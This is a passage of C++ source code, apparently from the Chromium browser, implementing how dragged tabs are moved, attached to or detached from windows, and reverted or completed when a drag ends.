delta);\n}\n\nvoid TabDragController::MoveAttachedToNextStackedIndex(\n    const gfx::Point& point_in_screen) {\n  int index = *attached_context_->GetActiveTouchIndex();\n  if (index + 1 >= attached_context_->GetTabCount())\n    return;\n\n  attached_context_->GetTabStripModel()->MoveSelectedTabsTo(index + 1);\n  StartMoveStackedTimerIfNecessary(point_in_screen,\n                                   kMoveAttachedSubsequentDelay);\n}\n\nvoid TabDragController::MoveAttachedToPreviousStackedIndex(\n    const gfx::Point& point_in_screen) {\n  int index = *attached_context_->GetActiveTouchIndex();\n  if (index <= attached_context_->GetPinnedTabCount())\n    return;\n\n  attached_context_->GetTabStripModel()->MoveSelectedTabsTo(index - 1);\n  StartMoveStackedTimerIfNecessary(point_in_screen,\n                                   kMoveAttachedSubsequentDelay);\n}\n\nvoid TabDragController::MoveAttached(const gfx::Point& point_in_screen,\n                                     bool just_attached) {\n  DCHECK(attached_context_);\n  DCHECK_EQ(current_state_, DragState::kDraggingTabs);\n\n  gfx::Point dragged_view_point = GetAttachedDragPoint(point_in_screen);\n\n  const int threshold = attached_context_->GetHorizontalDragThreshold();\n\n  std::vector<TabSlotView*> views(drag_data_.size());\n  for (size_t i = 0; i < drag_data_.size(); ++i)\n    views[i] = drag_data_[i].attached_view;\n\n  bool did_layout = false;\n  // Update the model, moving the WebContents from one index to another. Do this\n  // only if we have moved a minimum distance since the last reorder (to prevent\n  // jitter), or if this the first move and the tabs are not consecutive, or if\n  // we have just attached to a new tabstrip and need to move to the correct\n  // initial position.\n  if (just_attached ||\n      (abs(point_in_screen.x() - last_move_screen_loc_) > threshold) ||\n      (initial_move_ && !AreTabsConsecutive())) {\n    TabStripModel* attached_model = attached_context_->GetTabStripModel();\n    int to_index = attached_context_->GetInsertionIndexForDraggedBounds(\n        GetDraggedViewTabStripBounds(dragged_view_point),\n        GetViewsMatchingDraggedContents(attached_context_), num_dragging_tabs(),\n        mouse_has_ever_moved_left_, mouse_has_ever_moved_right_, group_);\n    bool do_move = true;\n    // While dragging within a tabstrip the expectation is the insertion index\n    // is based on the left edge of the tabs being dragged. OTOH when dragging\n    // into a new tabstrip (attaching) the expectation is the insertion index is\n    // based on the cursor. This proves problematic as insertion may change the\n    // size of the tabs, resulting in the index calculated before the insert\n    // differing from the index calculated after the insert. To alleviate this\n    // the index is chosen before insertion, and subsequently a new index is\n    // only used once the mouse moves enough such that the index changes based\n    // on the direction the mouse moved relative to |attach_x_| (smaller\n    // x-coordinate should yield a smaller index or larger x-coordinate yields a\n    // larger index).\n    if (attach_index_ != -1) {\n      gfx::Point tab_strip_point(point_in_screen);\n      views::View::ConvertPointFromScreen(attached_context_->AsView(),\n                                          &tab_strip_point);\n      const int new_x =\n          attached_context_->AsView()->GetMirroredXInView(tab_strip_point.x());\n      if (new_x < attach_x_)\n        to_index = std::min(to_index, attach_index_);\n      else\n        to_index = std::max(to_index, attach_index_);\n      if (to_index != attach_index_)\n        attach_index_ = -1;  // Once a valid move is detected, don't constrain.\n      else\n        do_move = false;\n    }\n    if (do_move) {\n      WebContents* last_contents = drag_data_.back().contents;\n      int index_of_last_item =\n          attached_model->GetIndexOfWebContents(last_contents);\n      if (initial_move_) {\n        // TabDragContext determines if the tabs needs to be animated\n        // based on model position. This means we need to invoke\n        // LayoutDraggedTabsAt before changing the model.\n        attached_context_->LayoutDraggedViewsAt(\n            views, source_view_drag_data()->attached_view, dragged_view_point,\n            initial_move_);\n        did_layout = true;\n      }\n\n      attached_model->MoveSelectedTabsTo(to_index);\n\n      if (header_drag_) {\n        attached_model->MoveTabGroup(group_.value());\n      } else {\n        UpdateGroupForDraggedTabs();\n      }\n\n      // Move may do nothing in certain situations (such as when dragging pinned\n      // tabs). Make sure the tabstrip actually changed before updating\n      // last_move_screen_loc_.\n      if (index_of_last_item !=\n          attached_model->GetIndexOfWebContents(last_contents)) {\n        last_move_screen_loc_ = point_in_screen.x();\n      }\n    }\n  }\n\n  if (!did_layout) {\n    attached_context_->LayoutDraggedViewsAt(\n        views, source_view_drag_data()->attached_view, dragged_view_point,\n        initial_move_);\n  }\n\n  StartMoveStackedTimerIfNecessary(point_in_screen, kMoveAttachedInitialDelay);\n\n  initial_move_ = false;\n}\n\nvoid TabDragController::StartMoveStackedTimerIfNecessary(\n    const gfx::Point& point_in_screen,\n    base::TimeDelta delay) {\n  DCHECK(attached_context_);\n\n  base::Optional<int> touch_index = attached_context_->GetActiveTouchIndex();\n  if (!touch_index)\n    return;\n\n  gfx::Point dragged_view_point = GetAttachedDragPoint(point_in_screen);\n  gfx::Rect bounds = GetDraggedViewTabStripBounds(dragged_view_point);\n  if (attached_context_->ShouldDragToNextStackedTab(\n          bounds, *touch_index, mouse_has_ever_moved_right_)) {\n    move_stacked_timer_.Start(\n        FROM_HERE, delay,\n        base::BindOnce(&TabDragController::MoveAttachedToNextStackedIndex,\n                       base::Unretained(this), point_in_screen));\n  } else if (attached_context_->ShouldDragToPreviousStackedTab(\n                 bounds, *touch_index, mouse_has_ever_moved_left_)) {\n    move_stacked_timer_.Start(\n        FROM_HERE, delay,\n        base::BindOnce(&TabDragController::MoveAttachedToPreviousStackedIndex,\n                       base::Unretained(this), point_in_screen));\n  }\n}\n\nTabDragController::DetachPosition TabDragController::GetDetachPosition(\n    const gfx::Point& point_in_screen) {\n  DCHECK(attached_context_);\n  gfx::Point attached_point(point_in_screen);\n  views::View::ConvertPointFromScreen(attached_context_->AsView(),\n                                      &attached_point);\n  if (attached_point.x() < attached_context_->TabDragAreaBeginX())\n    return DETACH_BEFORE;\n  if (attached_point.x() >= attached_context_->TabDragAreaEndX())\n    return DETACH_AFTER;\n  return DETACH_ABOVE_OR_BELOW;\n}\n\nTabDragController::Liveness TabDragController::GetTargetTabStripForPoint(\n    const gfx::Point& point_in_screen,\n    TabDragContext** context) {\n  *context = nullptr;\n  TRACE_EVENT1(\"views\", \"TabDragController::GetTargetTabStripForPoint\",\n               \"point_in_screen\", point_in_screen.ToString());\n\n  if (move_only() && attached_context_) {\n    // move_only() is intended for touch, in which case we only want to detach\n    // if the touch point moves significantly in the vertical distance.\n    gfx::Rect tabstrip_bounds = GetTabstripScreenBounds(attached_context_);\n    if (DoesRectContainVerticalPointExpanded(tabstrip_bounds,\n                                             kTouchVerticalDetachMagnetism,\n                                             point_in_screen.y())) {\n      *context = attached_context_;\n      return Liveness::ALIVE;\n    }\n  }\n  gfx::NativeWindow local_window;\n  const Liveness state = GetLocalProcessWindow(\n      point_in_screen, current_state_ == DragState::kDraggingWindow,\n      &local_window);\n  if (state == Liveness::DELETED)\n    return Liveness::DELETED;\n\n  if (local_window && CanAttachTo(local_window)) {\n    TabDragContext* destination_tab_strip =\n        BrowserView::GetBrowserViewForNativeWindow(local_window)\n            ->tabstrip()\n            ->GetDragContext();\n    if (ShouldAttachOnEnd(destination_tab_strip)) {\n      // No need to check if the specified screen point is within the bounds of\n      // the tabstrip as arriving here we know that the window is currently\n      // showing in overview mode in Chrome OS and its bounds contain the\n      // specified screen point, and these two conditions are enough for a\n      // window to be a valid target window to attach the dragged tabs.\n      *context = destination_tab_strip;\n      return Liveness::ALIVE;\n    } else if (destination_tab_strip &&\n               DoesTabStripContain(destination_tab_strip, point_in_screen)) {\n      *context = destination_tab_strip;\n      return Liveness::ALIVE;\n    }\n  }\n\n  *context = current_state_ == DragState::kDraggingWindow ? attached_context_\n                                                          : nullptr;\n  return Liveness::ALIVE;\n}\n\nbool TabDragController::DoesTabStripContain(\n    TabDragContext* context,\n    const gfx::Point& point_in_screen) const {\n  // Make sure the specified screen point is actually within the bounds of the\n  // specified context...\n  gfx::Rect tabstrip_bounds = GetTabstripScreenBounds(context);\n  const int x_in_strip = point_in_screen.x() - tabstrip_bounds.x();\n  return (x_in_strip >= context->TabDragAreaBeginX()) &&\n         (x_in_strip < context->TabDragAreaEndX()) &&\n         DoesRectContainVerticalPointExpanded(\n             tabstrip_bounds, kVerticalDetachMagnetism, point_in_screen.y());\n}\n\nvoid TabDragController::Attach(TabDragContext* attached_context,\n                               const gfx::Point& point_in_screen,\n                               bool set_capture) {\n  TRACE_EVENT1(\"views\", \"TabDragController::Attach\", \"point_in_screen\",\n               point_in_screen.ToString());\n\n  DCHECK(!attached_context_);  // We should already have detached by the time\n                               // we get here.\n\n  attached_context_ = attached_context;\n\n  std::vector<TabSlotView*> views =\n      GetViewsMatchingDraggedContents(attached_context_);\n\n  if (views.empty()) {\n    // Transitioning from detached to attached to a new context. Add tabs to\n    // the new model.\n\n    selection_model_before_attach_ =\n        attached_context->GetTabStripModel()->selection_model();\n\n    // Register a new group if necessary, so that the insertion index in the\n    // tab strip can be calculated based on the group membership of tabs.\n    if (header_drag_) {\n      attached_context_->GetTabStripModel()->group_model()->AddTabGroup(\n          group_.value(),\n          source_view_drag_data()->tab_group_data.value().group_visual_data);\n    }\n\n    // Insert at the beginning of the tabstrip. We'll fix up the insertion\n    // index in MoveAttached() later.\n    int index = 0;\n    attach_index_ = index;\n\n    gfx::Point tab_strip_point(point_in_screen);\n    views::View::ConvertPointFromScreen(attached_context_->AsView(),\n                                        &tab_strip_point);\n    tab_strip_point.set_x(\n        attached_context_->AsView()->GetMirroredXInView(tab_strip_point.x()));\n    tab_strip_point.Offset(0, -mouse_offset_.y());\n    attach_x_ = tab_strip_point.x();\n\n    base::AutoReset<bool> setter(&is_mutating_, true);\n    for (size_t i = first_tab_index(); i < drag_data_.size(); ++i) {\n      int add_types = TabStripModel::ADD_NONE;\n      if (attached_context_->GetActiveTouchIndex()) {\n        // StackedTabStripLayout positions relative to the active tab, if we\n        // don't add the tab as active things bounce around.\n        DCHECK_EQ(1u, drag_data_.size());\n        add_types |= TabStripModel::ADD_ACTIVE;\n      }\n      if (drag_data_[i].pinned)\n        add_types |= TabStripModel::ADD_PINNED;\n\n      // We should have owned_contents here, this CHECK is used to gather data\n      // for https://crbug.com/677806.\n      CHECK(drag_data_[i].owned_contents);\n      attached_context_->GetTabStripModel()->InsertWebContentsAt(\n          index + i - first_tab_index(),\n          std::move(drag_data_[i].owned_contents), add_types, group_);\n\n      // If a sad tab is showing, the SadTabView needs to be updated.\n      SadTabHelper* sad_tab_helper =\n          SadTabHelper::FromWebContents(drag_data_[i].contents);\n      if (sad_tab_helper)\n        sad_tab_helper->ReinstallInWebView();\n    }\n\n    views = GetViewsMatchingDraggedContents(attached_context_);\n  }\n  DCHECK_EQ(views.size(), drag_data_.size());\n  for (size_t i = 0; i < drag_data_.size(); ++i) {\n    drag_data_[i].attached_view = views[i];\n    attached_views_.push_back(views[i]);\n  }\n\n  ResetSelection(attached_context_->GetTabStripModel());\n\n  // This should be called after ResetSelection() in order to generate\n  // bounds correctly. http://crbug.com/836004\n  attached_context_->StartedDragging(views);\n\n  // The size of the dragged tab may have changed. Adjust the x offset so that\n  // ratio of mouse_offset_ to original width is maintained.\n  std::vector<TabSlotView*> tabs_to_source(views);\n  tabs_to_source.erase(tabs_to_source.begin() + source_view_index_ + 1,\n                       tabs_to_source.end());\n  int new_x = TabStrip::GetSizeNeededForViews(tabs_to_source) -\n              views[source_view_index_]->width() +\n              base::ClampRound(offset_to_width_ratio_ *\n                               views[source_view_index_]->width());\n  mouse_offset_.set_x(new_x);\n\n  // Transfer ownership of us to the new tabstrip as well as making sure the\n  // window has capture. This is important so that if activation changes the\n  // drag isn't prematurely canceled.\n  if (set_capture)\n    SetCapture(attached_context_);\n  attached_context_->OwnDragController(this);\n  SetTabDraggingInfo();\n  attached_context_tabs_closed_tracker_ =\n      std::make_unique<DraggedTabsClosedTracker>(\n          attached_context_->GetTabStripModel(), this);\n\n  if (attach_index_ != -1 && !header_drag_)\n    UpdateGroupForDraggedTabs();\n}\n\nvoid TabDragController::Detach(ReleaseCapture release_capture) {\n  TRACE_EVENT1(\"views\", \"TabDragController::Detach\", \"release_capture\",\n               release_capture);\n\n  attached_context_tabs_closed_tracker_.reset();\n\n  attach_index_ = -1;\n\n  // When the user detaches we assume they want to reorder.\n  move_behavior_ = REORDER;\n\n  // Release ownership of the drag controller and mouse capture. When we\n  // reattach ownership is transfered.\n  attached_context_->ReleaseDragController();\n  if (release_capture == RELEASE_CAPTURE)\n    attached_context_->AsView()->GetWidget()->ReleaseCapture();\n\n  mouse_has_ever_moved_left_ = true;\n  mouse_has_ever_moved_right_ = true;\n\n  TabStripModel* attached_model = attached_context_->GetTabStripModel();\n\n  std::vector<TabRendererData> tab_data;\n  for (size_t i = first_tab_index(); i < drag_data_.size(); ++i) {\n    tab_data.push_back(static_cast<Tab*>(drag_data_[i].attached_view)->data());\n    int index = attached_model->GetIndexOfWebContents(drag_data_[i].contents);\n    DCHECK_NE(-1, index);\n\n    // Hide the tab so that the user doesn't see it animate closed.\n    drag_data_[i].attached_view->SetVisible(false);\n    drag_data_[i].attached_view->set_detached();\n    drag_data_[i].owned_contents = attached_model->DetachWebContentsAt(index);\n\n    // Detaching may end up deleting the tab, drop references to it.\n    drag_data_[i].attached_view = nullptr;\n  }\n  if (header_drag_)\n    source_view_drag_data()->attached_view = nullptr;\n\n  // If we've removed the last Tab from the TabDragContext, hide the\n  // frame now.\n  if (!attached_model->empty()) {\n    if (!selection_model_before_attach_.empty() &&\n        selection_model_before_attach_.active() >= 0 &&\n        selection_model_before_attach_.active() < attached_model->count()) {\n      // Restore the selection.\n      attached_model->SetSelectionFromModel(selection_model_before_attach_);\n    } else if (attached_context_ == source_context_ &&\n               !initial_selection_model_.empty()) {\n      RestoreInitialSelection();\n    }\n  }\n\n  ClearTabDraggingInfo();\n  attached_context_->DraggedTabsDetached();\n  attached_context_ = nullptr;\n  attached_views_.clear();\n}\n\nvoid TabDragController::DetachIntoNewBrowserAndRunMoveLoop(\n    const gfx::Point& point_in_screen) {\n  if (attached_context_->GetTabStripModel()->count() == num_dragging_tabs()) {\n    // All the tabs in a browser are being dragged but all the tabs weren't\n    // initially being dragged. For this to happen the user would have to\n    // start dragging a set of tabs, the other tabs close, then detach.\n    RunMoveLoop(GetWindowOffset(point_in_screen));\n    return;\n  }\n\n  const int tab_area_width = attached_context_->GetTabDragAreaWidth();\n  std::vector<gfx::Rect> drag_bounds =\n      attached_context_->CalculateBoundsForDraggedViews(attached_views_);\n  OffsetX(GetAttachedDragPoint(point_in_screen).x(), &drag_bounds);\n\n  gfx::Vector2d drag_offset;\n  Browser* browser = CreateBrowserForDrag(attached_context_, point_in_screen,\n                                          &drag_offset, &drag_bounds);\n\n  BrowserView* dragged_browser_view =\n      BrowserView::GetBrowserViewForBrowser(browser);\n  views::Widget* dragged_widget = dragged_browser_view->GetWidget();\n\n#if defined(USE_AURA)\n  // Only Aura windows are gesture consumers.\n  views::Widget* attached_widget = attached_context_->AsView()->GetWidget();\n  // Unlike DragBrowserToNewTabStrip, this does not have to special-handle\n  // IsUsingWindowServices(), since DesktopWIndowTreeHostMus takes care of it.\n  attached_widget->GetGestureRecognizer()->TransferEventsTo(\n      attached_widget->GetNativeView(), dragged_widget->GetNativeView(),\n      ui::TransferTouchesBehavior::kDontCancel);\n#endif\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  // On ChromeOS, Detach should release capture; |can_release_capture_| is\n  // false on ChromeOS because it can cancel touches, but for this cases\n  // the touches are already transferred, so releasing is fine. Without\n  // releasing, the capture remains and further touch events can be sent to a\n  // wrong target.\n  Detach(RELEASE_CAPTURE);\n#else\n  Detach(can_release_capture_ ? RELEASE_CAPTURE : DONT_RELEASE_CAPTURE);\n#endif\n\n  dragged_widget->SetCanAppearInExistingFullscreenSpaces(true);\n  dragged_widget->SetVisibilityChangedAnimationsEnabled(false);\n  Attach(dragged_browser_view->tabstrip()->GetDragContext(), gfx::Point());\n  AdjustBrowserAndTabBoundsForDrag(tab_area_width, point_in_screen,\n                                   &drag_offset, &drag_bounds);\n  browser->window()->Show();\n  dragged_widget->SetVisibilityChangedAnimationsEnabled(true);\n  // Activate may trigger a focus loss, destroying us.\n  {\n    base::WeakPtr<TabDragController> ref(weak_factory_.GetWeakPtr());\n    browser->window()->Activate();\n    if (!ref)\n      return;\n  }\n  RunMoveLoop(drag_offset);\n}\n\nvoid TabDragController::RunMoveLoop(const gfx::Vector2d& drag_offset) {\n  // If the user drags the whole window we'll assume they are going to attach to\n  // another window and therefore want to reorder.\n  move_behavior_ = REORDER;\n\n  move_loop_widget_ = GetAttachedBrowserWidget();\n  DCHECK(move_loop_widget_);\n\n  // RunMoveLoop can be called reentrantly from within another RunMoveLoop,\n  // in which case the observation is already established.\n  widget_observation_.Reset();\n  widget_observation_.Observe(move_loop_widget_);\n  current_state_ = DragState::kDraggingWindow;\n  base::WeakPtr<TabDragController> ref(weak_factory_.GetWeakPtr());\n  if (can_release_capture_) {\n    // Running the move loop releases mouse capture, which triggers destroying\n    // the drag loop. Release mouse capture now while the DragController is not\n    // owned by the TabDragContext.\n    attached_context_->ReleaseDragController();\n    attached_context_->AsView()->GetWidget()->ReleaseCapture();\n    attached_context_->OwnDragController(this);\n  }\n  const views::Widget::MoveLoopSource move_loop_source =\n      event_source_ == EVENT_SOURCE_MOUSE\n          ? views::Widget::MoveLoopSource::kMouse\n          : views::Widget::MoveLoopSource::kTouch;\n  const views::Widget::MoveLoopEscapeBehavior escape_behavior =\n      is_dragging_new_browser_\n          ? views::Widget::MoveLoopEscapeBehavior::kHide\n          : views::Widget::MoveLoopEscapeBehavior::kDontHide;\n  views::Widget::MoveLoopResult result = move_loop_widget_->RunMoveLoop(\n      drag_offset, move_loop_source, escape_behavior);\n  content::NotificationService::current()->Notify(\n      chrome::NOTIFICATION_TAB_DRAG_LOOP_DONE,\n      content::NotificationService::AllBrowserContextsAndSources(),\n      content::NotificationService::NoDetails());\n\n  if (!ref)\n    return;\n\n  if (move_loop_widget_ &&\n      widget_observation_.IsObservingSource(move_loop_widget_)) {\n    widget_observation_.Reset();\n  }\n  move_loop_widget_ = nullptr;\n\n  if (current_state_ == DragState::kDraggingWindow) {\n    current_state_ = DragState::kWaitingToStop;\n  }\n\n  if (current_state_ == DragState::kWaitingToDragTabs) {\n    DCHECK(tab_strip_to_attach_to_after_exit_);\n    gfx::Point point_in_screen(GetCursorScreenPoint());\n    Detach(DONT_RELEASE_CAPTURE);\n    Attach(tab_strip_to_attach_to_after_exit_, point_in_screen);\n    current_state_ = DragState::kDraggingTabs;\n    // Move the tabs into position.\n    MoveAttached(point_in_screen, true);\n    attached_context_->AsView()->GetWidget()->Activate();\n    // Activate may trigger a focus loss, destroying us.\n    if (!ref)\n      return;\n    tab_strip_to_attach_to_after_exit_ = nullptr;\n  } else if (current_state_ == DragState::kWaitingToStop) {\n    EndDrag(result == views::Widget::MOVE_LOOP_CANCELED ? END_DRAG_CANCEL\n                                                        : END_DRAG_COMPLETE);\n  }\n}\n\ngfx::Rect TabDragController::GetDraggedViewTabStripBounds(\n    const gfx::Point& tab_strip_point) {\n  // attached_view is null when inserting into a new context.\n  if (source_view_drag_data()->attached_view) {\n    std::vector<gfx::Rect> all_bounds =\n        attached_context_->CalculateBoundsForDraggedViews(attached_views_);\n    int total_width = all_bounds.back().right() - all_bounds.front().x();\n    return gfx::Rect(tab_strip_point.x(), tab_strip_point.y(), total_width,\n                     source_view_drag_data()->attached_view->height());\n  }\n\n  return gfx::Rect(tab_strip_point.x(), tab_strip_point.y(),\n                   attached_context_->GetActiveTabWidth(),\n                   GetLayoutConstant(TAB_HEIGHT));\n}\n\ngfx::Point TabDragController::GetAttachedDragPoint(\n    const gfx::Point& point_in_screen) {\n  DCHECK(attached_context_);  // The tab must be attached.\n\n  gfx::Point tab_loc(point_in_screen);\n  views::View::ConvertPointFromScreen(attached_context_->AsView(), &tab_loc);\n  const int x = attached_context_->AsView()->GetMirroredXInView(tab_loc.x()) -\n                mouse_offset_.x();\n\n  const int max_x = attached_context_->GetTabDragAreaWidth() -\n                    TabStrip::GetSizeNeededForViews(attached_views_);\n  return gfx::Point(base::ClampToRange(x, 0, max_x), 0);\n}\n\nstd::vector<TabSlotView*> TabDragController::GetViewsMatchingDraggedContents(\n    TabDragContext* context) {\n  TabStripModel* model = attached_context_->GetTabStripModel();\n  std::vector<TabSlotView*> views;\n  for (size_t i = first_tab_index(); i < drag_data_.size(); ++i) {\n    int model_index = model->GetIndexOfWebContents(drag_data_[i].contents);\n    if (model_index == TabStripModel::kNoTab)\n      return std::vector<TabSlotView*>();\n    views.push_back(context->GetTabAt(model_index));\n  }\n  if (header_drag_)\n    views.insert(views.begin(), context->GetTabGroupHeader(group_.value()));\n  return views;\n}\n\nvoid TabDragController::EndDragImpl(EndDragType type) {\n  DragState previous_state = current_state_;\n  current_state_ = DragState::kStopped;\n  attached_context_tabs_closed_tracker_.reset();\n\n  bring_to_front_timer_.Stop();\n  move_stacked_timer_.Stop();\n\n  if (type != TAB_DESTROYED) {\n    // We only finish up the drag if we were actually dragging. If start_drag_\n    // is false, the user just clicked and released and didn't move the mouse\n    // enough to trigger a drag.\n    if (previous_state != DragState::kNotStarted) {\n      // After the drag ends, sometimes it shouldn't restore the focus, because\n      // - if |attached_context_| is showing in overview mode, overview mode\n      //   may be ended unexpectly because of the window activation.\n      // - Some dragging gesture (like fling down) minimizes the window, but the\n      //   window activation cancels minimized status. See\n      //   https://crbug.com/902897\n      if (!IsShowingInOverview(attached_context_) &&\n          !attached_context_->AsView()->GetWidget()->IsMinimized()) {\n        RestoreFocus();\n      }\n\n      GetAttachedBrowserWidget()->SetCanAppearInExistingFullscreenSpaces(false);\n      if (type == CANCELED)\n        RevertDrag();\n      else\n        CompleteDrag();\n    }\n  } else if (drag_data_.size() > 1) {\n    initial_selection_model_.Clear();\n    if (previous_state != DragState::kNotStarted)\n      RevertDrag();\n  }  // else case the only tab we were dragging was deleted. Nothing to do.\n\n  // Clear tab dragging info after the complete/revert as CompleteDrag() may\n  // need to use some of the properties.\n  ClearTabDraggingInfo();\n\n  // Clear out drag data so we don't attempt to do anything with it.\n  drag_data_.clear();\n\n  TabDragContext* owning_context =\n      attached_context_ ? attached_context_ : source_context_;\n  owning_context->DestroyDragController();\n}\n\nvoid TabDragController::PerformDeferredAttach() {\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  TabDragContext* deferred_target_context =\n      deferred_target_context_observer_->deferred_target_context();\n  if (!deferred_target_context)\n    return;\n\n  DCHECK_NE(deferred_target_context, attached_context_);\n\n  // |is_dragging_new_browser_| needs to be reset here since after this function\n  // is called, the browser window that was specially created for the dragged\n  // tab(s) will be destroyed.\n  is_dragging_new_browser_ = false;\n  // |did_restore_window_| is only set to be true if the dragged window is the\n  // source window and the source window was maximized or fullscreen before the\n  // drag starts. It also needs to be reset to false here otherwise after this\n  // function is called, the newly attached window may be maximized unexpectedly\n  // after the drag ends.\n  did_restore_window_ = false;\n\n  // GetCursorScreenPoint() needs to be called before Detach() is called as\n  // GetCursorScreenPoint() may use the current attached tabstrip to get the\n  // touch event position but Detach() sets attached tabstrip to nullptr.\n  // On ChromeOS, the gesture state is already cleared and so\n  // GetCursorScreenPoint() will fail to obtain the last touch location.\n  // Therefore it uses the last remembered location instead.\n  const gfx::Point current_screen_point = (event_source_ == EVENT_SOURCE_TOUCH)\n                                              ? last_point_in_screen_\n                                              : GetCursorScreenPoint();\n  Detach(DONT_RELEASE_CAPTURE);\n  // If we're attaching the dragged tabs to an overview window's tabstrip, the\n  // tabstrip should not have focus.\n  Attach(deferred_target_context, current_screen_point, /*set_capture=*/false);\n\n  SetDeferredTargetTabstrip(nullptr);\n  deferred_target_context_observer_.reset();\n#endif\n}\n\nvoid TabDragController::RevertDrag() {\n  std::vector<TabSlotView*> views;\n  if (header_drag_)\n    views.push_back(drag_data_[0].attached_view);\n  for (size_t i = first_tab_index(); i < drag_data_.size(); ++i) {\n    if (drag_data_[i].contents) {\n      // Contents is NULL if a tab was destroyed while the drag was under way.\n      views.push_back(drag_data_[i].attached_view);\n      RevertDragAt(i);\n    }\n  }\n\n  if (attached_context_) {\n    if (did_restore_window_)\n      MaximizeAttachedWindow();\n    if (attached_context_ == source_context_) {\n      source_context_->StoppedDragging(views, initial_tab_positions_,\n                                       move_behavior_ == MOVE_VISIBLE_TABS,\n                                       false);\n      if (header_drag_)\n        source_context_->GetTabStripModel()->MoveTabGroup(group_.value());\n    } else {\n      attached_context_->DraggedTabsDetached();\n    }\n  }\n\n  // If tabs were closed during this drag, the initial selection might include\n  // indices that are out of bounds for the tabstrip now. Reset the selection to\n  // include the stille-existing currently dragged WebContentses.\n  for (int selection : initial_selection_model_.selected_indices()) {\n    if (!source_context_->GetTabStripModel()->ContainsIndex(selection)) {\n      initial_selection_model_.Clear();\n      break;\n    }\n  }\n\n  if (initial_selection_model_.empty())\n    ResetSelection(source_context_->GetTabStripModel());\n  else\n    source_context_->GetTabStripModel()->SetSelectionFromModel(\n        initial_selection_model_);\n\n  if (source_context_)\n    source_context_->AsView()->GetWidget()->Activate();\n}\n\nvoid TabDragController::ResetSelection(TabStripModel* model) {\n  DCHECK(model);\n  ui::ListSelectionModel selection_model;\n  bool has_one_valid_tab = false;\n  for (size_t i = 0; i < drag_data_.size(); ++i) {\n    // |contents| is NULL if a tab was deleted out from under us.\n    if (drag_data_[i].contents) {\n      int index = model->GetIndexOfWebContents(drag_data_[i].contents);\n      DCHECK_NE(-1, index);\n      selection_model.AddIndexToSelection(index);\n      if (!has_one_valid_tab || i == source_view_index_) {\n        // Reset the active/lead to the first tab. If the source tab is still\n        // valid we'll reset these again later on.\n        selection_model.set_active(index);\n        selection_model.set_anchor(index);\n        has_one_valid_tab = true;\n      }\n    }\n  }\n  if (!has_one_valid_tab)\n    return;\n\n  model->SetSelectionFromModel(selection_model);\n}\n\nvoid TabDragController::RestoreInitialSelection() {\n  // First time detaching from the source tabstrip. Reset selection model to\n  // initial_selection_model_. Before resetting though we have to remove all\n  // the tabs from initial_selection_model_ as it was created with the tabs\n  // still there.\n  ui::ListSelectionModel selection_model = initial_selection_model_;\n  for (DragData::const_reverse_iterator i(drag_data_.rbegin());\n       i != drag_data_.rend(); ++i) {\n    if (i->source_model_index != TabStripModel::kNoTab)\n      selection_model.DecrementFrom(i->source_model_index);\n  }\n  // We may have cleared out the selection model. Only reset it if it\n  // contains something.\n  if (selection_model.empty())\n    return;\n\n  // The anchor/active may have been among the tabs that were dragged out. Force\n  // the anchor/active to be valid.\n  if (selection_model.anchor() == ui::ListSelectionModel::kUnselectedIndex)\n    selection_model.set_anchor(*selection_model.selected_indices().begin());\n  if (selection_model.active() == ui::ListSelectionModel::kUnselectedIndex)\n    selection_model.set_active(*selection_model.selected_indices().begin());\n  source_context_->GetTabStripModel()->SetSelectionFromModel(selection_model);\n}\n\nvoid TabDragController::RevertDragAt(size_t drag_index) {\n  DCHECK_NE(current_state_, DragState::kNotStarted);\n  DCHECK(source_context_);\n\n  base::AutoReset<bool> setter(&is_mutating_, true);\n  TabDragData* data = &(drag_data_[drag_index]);\n  int target_index = data->source_model_index;\n  if (attached_context_) {\n    int index = attached_context_->GetTabStripModel()->GetIndexOfWebContents(\n        data->contents);\n    if (attached_context_ != source_context_) {\n      // The Tab was inserted into another TabDragContext. We need to\n      // put it back into the original one.\n      std::unique_ptr<content::WebContents> detached_web_contents =\n          attached_context_->GetTabStripModel()->DetachWebContentsAt(index);\n      // TODO(beng): (Cleanup) seems like we should use Attach() for this\n      //             somehow.\n      source_context_->GetTabStripModel()->InsertWebContentsAt(\n          target_index, std::move(detached_web_contents),\n          (data->pinned ? TabStripModel::ADD_PINNED : 0));\n    } else {\n      // The Tab was moved within the TabDragContext where the drag\n      // was initiated. Move it back to the starting location.\n\n      // If the target index is to the right, then other unreverted tabs are\n      // occupying indices between this tab and the target index. Those\n      // unreverted tabs will later be reverted to the right of the target\n      // index, so we skip those indices.\n      if (target_index > index) {\n        for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) {\n          if (drag_data_[i].contents)\n            ++target_index;\n        }\n      }\n      target_index = source_context_->GetTabStripModel()->MoveWebContentsAt(\n          index, target_index, false);\n    }\n  } else {\n    // The Tab was detached from the TabDragContext where the drag\n    // began, and has not been attached to any other TabDragContext.\n    // We need to put it back into the source TabDragContext.\n    source_context_->GetTabStripModel()->InsertWebContentsAt(\n        target_index, std::move(data->owned_contents),\n        (data->pinned ? TabStripModel::ADD_PINNED : 0));\n  }\n  source_context_->GetTabStripModel()->UpdateGroupForDragRevert(\n      target_index,\n      data->tab_group_data.has_value()\n          ? base::Optional<tab_groups::TabGroupId>{data->tab_group_data.value()\n                                                       .group_id}\n          : base::nullopt,\n      data->tab_group_data.has_value()\n          ? base::Optional<\n                tab_groups::TabGroupVisualData>{data->tab_group_data.value()\n                                                    .group_visual_data}\n          : base::nullopt);\n}\n\nvoid TabDragController::CompleteDrag() {\n  DCHECK_NE(current_state_, DragState::kNotStarted);\n\n  if (attached_context_) {\n    if (is_dragging_new_browser_ || did_restore_window_) {\n      if (IsSnapped(attached_context_)) {\n        was_source_maximized_ = false;\n        was_source_fullscreen_ = false;\n      }\n\n      // If source window was maximized - maximize the new window as well.\n      if (was_source_maximized_ || was_source_fullscreen_)\n        MaximizeAttachedWindow();\n    }\n    attached_context_->StoppedDragging(\n        GetViewsMatchingDraggedContents(attached_context_),\n        initial_tab_positions_, move_behavior_ == MOVE_VISIBLE_TABS, true);\n  } else {\n    // Compel the model to construct a new window for the detached\n    // WebContentses.\n    views::Widget* widget = source_context_->AsView()->GetWidget();\n    gfx::Rect window_bounds(widget->GetRestoredBounds());\n    window_bounds.set_origin(GetWindowCreatePoint(last_point_in_screen_));\n\n    base::AutoReset<bool> setter(&is_mutating_, true);\n\n    std::vector<TabStripModelDelegate::NewStripContents> contentses;\n    for (size_t i = 0; i < drag_data_.size(); ++i) {\n      